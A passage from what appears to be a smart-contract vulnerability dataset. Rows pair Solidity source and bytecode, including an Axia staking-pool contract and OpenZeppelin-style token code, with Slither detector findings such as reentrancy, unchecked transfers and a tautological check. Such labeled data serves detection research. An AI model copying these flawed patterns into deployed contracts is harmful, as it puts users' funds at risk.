90505b919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7d57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f565254000000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561103d5760009050611311565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561108c5750600082115b80156110c55750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111615750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461115e83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b10155b801561117257506044600036905010155b151561117d57600080fd5b6111cf82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061126482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156115795780820151818401525b60208101905061155d565b50505050905090810190601f1680156115a65780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f19250505015156115ce57600080fd5b600190505b9392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116e457600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15b5b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156118845780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b50565b60008082840190508381101580156118a15750828110155b15156118a957fe5b8091505b5092915050565b60008282111515156118c257fe5b81830390505b929150505600a165627a7a72305820871259f0a2053627f19aa337a8927292aa239738d1763c8b3db78194e5789bf70029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}} | 9,823 |
0x9ded3b9d0bd9cc4de698dcebebb68b1f0033c0c8 | /*
* @dev This is the Axia Protocol Staking pool contract (AXIA LONE Pool), a part of the protocol where stakers are rewarded in AXIA tokens
* when they make stakes of Axia tokens.
* stakers reward come from the daily emission from the total supply into circulation,
* this happens daily and upon the reach of a new epoch each made of 180 days,
* halvings are experienced on the emitting amount of tokens.
* on the 11th epoch all the tokens would have been completed emitted into circulation,
* from here on, the stakers will still be earning from daily emissions
* which would now be coming from the accumulated basis points over the epochs.
* upon unstaking, stakers are charged a fee of 1% of their unstaking sum which is
* burnt forever, thereby reducing the total supply. this gives the Axia token its deflationary feature.
*/
pragma solidity 0.6.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function supplyeffect(uint _amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ASP{
using SafeMath for uint256;
//======================================EVENTS=========================================//
event StakeEvent(address indexed staker, address indexed pool, uint amount);
event UnstakeEvent(address indexed unstaker, address indexed pool, uint amount);
event RewardEvent(address indexed staker, address indexed pool, uint amount);
event RewardStake(address indexed staker, address indexed pool, uint amount);
//======================================STAKING POOL=========================================//
address public Axiatoken;
bool public stakingEnabled;
uint256 constant private FLOAT_SCALAR = 2**64;
uint256 public MINIMUM_STAKE = 1000000000000000000; // 1000 AXIA Tokens
uint256 public MIN_DIVIDENDS_DUR = 18 hours;
uint256 private UNSTAKE_FEE = 1; //1% burns when you unstake
uint public infocheck;
uint _burnedAmount;
uint actualValue;
struct User {
uint256 balance;
uint256 frozen;
int256 scaledPayout;
uint256 staketime;
}
struct Info {
uint256 totalSupply;
uint256 totalFrozen;
mapping(address => User) users;
uint256 scaledPayoutPerToken; //pool balance
address admin;
}
Info private info;
constructor() public {
info.admin = msg.sender;
stakingEnabled = false;
}
//======================================ADMINSTRATION=========================================//
modifier onlyCreator() {
require(msg.sender == info.admin, "Ownable: caller is not the administrator");
_;
}
modifier onlyAxiaToken() {
require(msg.sender == Axiatoken, "Authorization: only token contract can call");
_;
}
function tokenconfigs(address _axiatoken) public onlyCreator returns (bool success) {
Axiatoken = _axiatoken;
return true;
}
function _minStakeAmount(uint256 _number) onlyCreator public {
MINIMUM_STAKE = _number*1000000000000000000;
}
function stakingStatus(bool _status) public onlyCreator {
require(Axiatoken != address(0), "Pool address is not yet setup");
stakingEnabled = _status;
}
function unstakeburnrate(uint _rate) public onlyCreator returns (bool success) {
UNSTAKE_FEE = _rate;
return true;
}
function MIN_DIVIDENDS_DUR_TIME(uint256 _minDuration) public onlyCreator {
MIN_DIVIDENDS_DUR = _minDuration;
}
//======================================USER WRITE=========================================//
function StakeAxiaTokens(uint256 _tokens) external {
_stake(_tokens);
}
function UnstakeAxiaTokens(uint256 _tokens) external {
_unstake(_tokens);
}
//======================================USER READ=========================================//
function totalFrozen() public view returns (uint256) {
return info.totalFrozen;
}
function frozenOf(address _user) public view returns (uint256) {
return info.users[_user].frozen;
}
function dividendsOf(address _user) public view returns (uint256) {
if(info.users[_user].staketime < MIN_DIVIDENDS_DUR){
return 0;
}else{
return uint256(int256(info.scaledPayoutPerToken * info.users[_user].frozen) - info.users[_user].scaledPayout) / FLOAT_SCALAR;
}
}
function userData(address _user) public view
returns (uint256 totalTokensFrozen, uint256 userFrozen,
uint256 userDividends, uint256 userStaketime, int256 scaledPayout) {
return (totalFrozen(), frozenOf(_user), dividendsOf(_user), info.users[_user].staketime, info.users[_user].scaledPayout);
}
//======================================ACTION CALLS=========================================//
function _stake(uint256 _amount) internal {
require(stakingEnabled, "Staking not yet initialized");
require(IERC20(Axiatoken).balanceOf(msg.sender) >= _amount, "Insufficient Axia token balance");
require(frozenOf(msg.sender) + _amount >= MINIMUM_STAKE, "Your amount is lower than the minimum amount allowed to stake");
require(IERC20(Axiatoken).allowance(msg.sender, address(this)) >= _amount, "Not enough allowance given to contract yet to spend by user");
info.users[msg.sender].staketime = now;
info.totalFrozen += _amount;
info.users[msg.sender].frozen += _amount;
info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken);
IERC20(Axiatoken).transferFrom(msg.sender, address(this), _amount); // Transfer liquidity tokens from the sender to this contract
emit StakeEvent(msg.sender, address(this), _amount);
}
function _unstake(uint256 _amount) internal {
require(frozenOf(msg.sender) >= _amount, "You currently do not have up to that amount staked");
info.totalFrozen -= _amount;
info.users[msg.sender].frozen -= _amount;
info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken);
_burnedAmount = mulDiv(_amount, UNSTAKE_FEE, 100);
actualValue = _amount.sub(_burnedAmount);
require(IERC20(Axiatoken).transfer(msg.sender, actualValue), "Transaction failed");
emit UnstakeEvent(address(this), msg.sender, actualValue);
require(IERC20(Axiatoken).transfer(address(0x0), _burnedAmount), "Transaction failed");
IERC20(Axiatoken).supplyeffect(_burnedAmount);
TakeDividends();
}
function TakeDividends() public returns (uint256) {
uint256 _dividends = dividendsOf(msg.sender);
require(_dividends >= 0, "you do not have any dividend yet");
info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR);
require(IERC20(Axiatoken).transfer(msg.sender, _dividends), "Transaction Failed"); // Transfer dividends to msg.sender
emit RewardEvent(msg.sender, address(this), _dividends);
return _dividends;
}
function scaledToken(uint _amount) external onlyAxiaToken returns(bool){
info.scaledPayoutPerToken += _amount * FLOAT_SCALAR / info.totalFrozen;
infocheck = info.scaledPayoutPerToken;
return true;
}
function mulDiv (uint x, uint y, uint z) public pure returns (uint) {
(uint l, uint h) = fullMul (x, y);
assert (h < z);
uint mm = mulmod (x, y, z);
if (mm > l) h -= 1;
l -= mm;
uint pow2 = z & -z;
z /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint r = 1;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
return l * r;
}
function fullMul (uint x, uint y) private pure returns (uint l, uint h) {
uint mm = mulmod (x, y, uint (-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
} | 0x608060405234801561001057600080fd5b50600436106101205760003560e01c806369c18e12116100ad578063ac3c853511610071578063ac3c8535146102bd578063b333de24146102dc578063b821b6bf146102e4578063c8910913146102ec578063e0287b3e1461033d57610120565b806369c18e12146102355780636b6b6aa41461023d5780637640cb9e1461025a578063a43fc87114610277578063aa9a09121461029457610120565b80631bf6e00d116100f45780631bf6e00d146101be5780631cfff51b146101e45780631e7f87bc146101ec57806321dee127146101f45780636387c9491461021157610120565b806265318b1461012557806305d872aa1461015d57806308dbbb03146101975780631495bf9a1461019f575b600080fd5b61014b6004803603602081101561013b57600080fd5b50356001600160a01b031661035a565b60408051918252519081900360200190f35b6101836004803603602081101561017357600080fd5b50356001600160a01b03166103c1565b604080519115158252519081900360200190f35b61014b610432565b6101bc600480360360208110156101b557600080fd5b5035610438565b005b61014b600480360360208110156101d457600080fd5b50356001600160a01b0316610444565b610183610462565b61014b610472565b6101836004803603602081101561020a57600080fd5b5035610478565b6102196104cd565b604080516001600160a01b039092168252519081900360200190f35b61014b6104dc565b6101bc6004803603602081101561025357600080fd5b50356104e2565b6101836004803603602081101561027057600080fd5b50356104eb565b6101bc6004803603602081101561028d57600080fd5b5035610560565b61014b600480360360608110156102aa57600080fd5b50803590602081013590604001356105b8565b6101bc600480360360208110156102d357600080fd5b5035151561066c565b61014b610730565b61014b61085a565b6103126004803603602081101561030257600080fd5b50356001600160a01b0316610860565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6101bc6004803603602081101561035357600080fd5b50356108b7565b6002546001600160a01b03821660009081526009602052604081206003015490911115610389575060006103bc565b6001600160a01b03821660009081526009602052604090206002810154600190910154600a54600160401b929102030490505b919050565b600b546000906001600160a01b0316331461040d5760405162461bcd60e51b81526004018080602001828103825260288152602001806111096028913960400191505060405180910390fd5b50600080546001600160a01b0383166001600160a01b03199091161790556001919050565b60015481565b61044181610905565b50565b6001600160a01b031660009081526009602052604090206001015490565b600054600160a01b900460ff1681565b60085490565b600b546000906001600160a01b031633146104c45760405162461bcd60e51b81526004018080602001828103825260288152602001806111096028913960400191505060405180910390fd5b50600355600190565b6000546001600160a01b031681565b60045481565b61044181610c27565b600080546001600160a01b031633146105355760405162461bcd60e51b815260040180806020018281038252602b815260200180611066602b913960400191505060405180910390fd5b600854600160401b83028161054657fe5b600a80549290910490910190819055600455506001919050565b600b546001600160a01b031633146105a95760405162461bcd60e51b81526004018080602001828103825260288152602001806111096028913960400191505060405180910390fd5b670de0b6b3a764000002600155565b60008060006105c78686610f26565b915091508381106105d457fe5b600084806105de57fe5b8688099050828111156105f2576001820391505b91829003916000859003851680868161060757fe5b04955080848161061357fe5b04935080816000038161062257fe5b046001019290920292909201600285810380870282030280870282030280870282030280870282030280870282030280870282030295860290039094029390930295945050505050565b600b546001600160a01b031633146106b55760405162461bcd60e51b81526004018080602001828103825260288152602001806111096028913960400191505060405180910390fd5b6000546001600160a01b0316610712576040805162461bcd60e51b815260206004820152601d60248201527f506f6f6c2061646472657373206973206e6f7420796574207365747570000000604482015290519081900360640190fd5b60008054911515600160a01b0260ff60a01b19909216919091179055565b60008061073c3361035a565b3360008181526009602090815260408083206002018054600160401b87020190558254815163a9059cbb60e01b815260048101959095526024850186905290519495506001600160a01b03169363a9059cbb93604480820194918390030190829087803b1580156107ac57600080fd5b505af11580156107c0573d6000803e3d6000fd5b505050506040513d60208110156107d657600080fd5b505161081e576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8811985a5b195960721b604482015290519081900360640190fd5b604080518281529051309133917f8c998377165b6abd6e99f8b84a86ed2c92d0055aeef42626fedea45c2909f6eb9181900360200190a3905090565b60025481565b6000806000806000610870610472565b61087987610444565b6108828861035a565b6001600160a01b0398909816600090815260096020526040902060038101546002909101549299919897509550909350915050565b600b546001600160a01b031633146109005760405162461bcd60e51b81526004018080602001828103825260288152602001806111096028913960400191505060405180910390fd5b600255565b600054600160a01b900460ff16610963576040805162461bcd60e51b815260206004820152601b60248201527f5374616b696e67206e6f742079657420696e697469616c697a65640000000000604482015290519081900360640190fd5b600054604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109ad57600080fd5b505afa1580156109c1573d6000803e3d6000fd5b505050506040513d60208110156109d757600080fd5b50511015610a2c576040805162461bcd60e51b815260206004820152601f60248201527f496e73756666696369656e74204178696120746f6b656e2062616c616e636500604482015290519081900360640190fd5b60015481610a3933610444565b011015610a775760405162461bcd60e51b815260040180806020018281038252603d8152602001806110cc603d913960400191505060405180910390fd5b60005460408051636eb1769f60e11b8152336004820152306024820152905183926001600160a01b03169163dd62ed3e916044808301926020929190829003018186803b158015610ac757600080fd5b505afa158015610adb573d6000803e3d6000fd5b505050506040513d6020811015610af157600080fd5b50511015610b305760405162461bcd60e51b815260040180806020018281038252603b815260200180611091603b913960400191505060405180910390fd5b336000818152600960209081526040808320426003820155600880548701905560018101805487019055600a54600290910180549187029091019055825481516323b872dd60e01b815260048101959095523060248601526044850186905290516001600160a01b03909116936323b872dd9360648083019493928390030190829087803b158015610bc157600080fd5b505af1158015610bd5573d6000803e3d6000fd5b505050506040513d6020811015610beb57600080fd5b5050604080518281529051309133917f160ffcaa807f78c8b4983836e2396338d073e75695ac448aa0b5e4a75b210b1d9181900360200190a350565b80610c3133610444565b1015610c6e5760405162461bcd60e51b81526004018080602001828103825260328152602001806110346032913960400191505060405180910390fd5b6008805482900390553360009081526009602052604090206001810180548390039055600a54600290910180549183029091039055600354610cb390829060646105b8565b6005819055610cc990829063ffffffff610f5316565b6006819055600080546040805163a9059cbb60e01b81523360048201526024810194909452516001600160a01b039091169263a9059cbb9260448083019360209390929083900390910190829087803b158015610d2557600080fd5b505af1158015610d39573d6000803e3d6000fd5b505050506040513d6020811015610d4f57600080fd5b5051610d97576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b6006546040805191825251339130917f15fba2c381f32b0e84d073dd1adb9edbcfd33a033ee48aaea415ac61ca7d448d9181900360200190a3600080546005546040805163a9059cbb60e01b8152600481018590526024810192909252516001600160a01b039092169263a9059cbb926044808401936020939083900390910190829087803b158015610e2957600080fd5b505af1158015610e3d573d6000803e3d6000fd5b505050506040513d6020811015610e5357600080fd5b5051610e9b576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b60008054600554604080516326796dd560e01b81526004810192909252516001600160a01b03909216926326796dd5926024808401936020939083900390910190829087803b158015610eed57600080fd5b505af1158015610f01573d6000803e3d6000fd5b505050506040513d6020811015610f1757600080fd5b50610f229050610730565b5050565b6000808060001984860990508385029250828103915082811015610f4b576001820391505b509250929050565b6000610f9583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9c565b9392505050565b6000818484111561102b5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ff0578181015183820152602001610fd8565b50505050905090810190601f16801561101d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe596f752063757272656e746c7920646f206e6f74206861766520757020746f207468617420616d6f756e74207374616b6564417574686f72697a6174696f6e3a206f6e6c7920746f6b656e20636f6e74726163742063616e2063616c6c4e6f7420656e6f75676820616c6c6f77616e636520676976656e20746f20636f6e74726163742079657420746f207370656e642062792075736572596f757220616d6f756e74206973206c6f776572207468616e20746865206d696e696d756d20616d6f756e7420616c6c6f77656420746f207374616b654f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f72a2646970667358221220829ed5041f5835822710304b2162bfc515c9408fc8d9c1d40281e861d84398e564736f6c63430006040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,824 |
0xc0d1e37ffc457fef8dbbd37660e002b17b485841 | pragma solidity ^0.4.18;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/token/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
